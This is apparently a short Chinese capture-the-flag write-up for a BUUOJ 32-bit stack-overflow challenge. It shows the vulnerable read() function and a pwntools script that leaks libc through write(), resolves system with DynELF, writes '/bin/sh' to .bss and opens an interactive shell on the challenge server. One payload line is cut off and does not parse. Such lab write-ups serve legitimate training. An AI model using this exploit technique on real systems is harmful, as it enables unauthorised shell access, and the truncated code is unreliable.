也是一道简单的stack题目
主要目的应该是熟悉pwntools的dynelf模块
https://blog.csdn.net/u011987514/article/details/68490157
https://blog.csdn.net/qq_38783875/article/details/81134840

```
ssize_t vuln()
{
  char buf[104]; // [esp+Ch] [ebp-6Ch] BYREF

  setbuf(stdin, buf);
  return read(0, buf, 0x100u);
}
```

可以看到溢出点十分明确
但是问题在于，这里没有so文件，所以需要你自己寻找system函数的地址。

```
from pwn import *

elf = ELF('./bof')
#io = process('./bof')
io = remote('node4.buuoj.cn',29663)

read_addr = elf.symbols['read']
write_addr = elf.symbols['write']
main_addr = 0x804851c
bss_addr = elf.symbols['__bss_start']

def leak(addr):
    io.recvline()
    payload = 'a'*0x6c + 'b'*4 + p32(write_addr) + p32(main_addr) + p32(1) + p32(addr) + p32(0x4
    io.sendline(payload)
    leak_addr = io.recv(4)
    return leak_addr

d = DynELF(leak,elf = elf)
system_addr = d.lookup('system','libc')
payload = 'a'*0x6c + 'b'*0x4 + p32(read_addr) + p32(main_addr) +p32(0)+p32(bss_addr)+p32(0x8)
io.sendline(payload)
io.sendline('/bin/sh')

payload = 'a'*0x6c +'b'*0x4 + p32(system_addr)+p32(main_addr)+p32(bss_addr)
io.sendline(payload)

io.interactive()
```

其实理论上正常的泄露libc基址，然后使用libcsearcher来搜索也是可行的，这里就当熟悉pwntools吧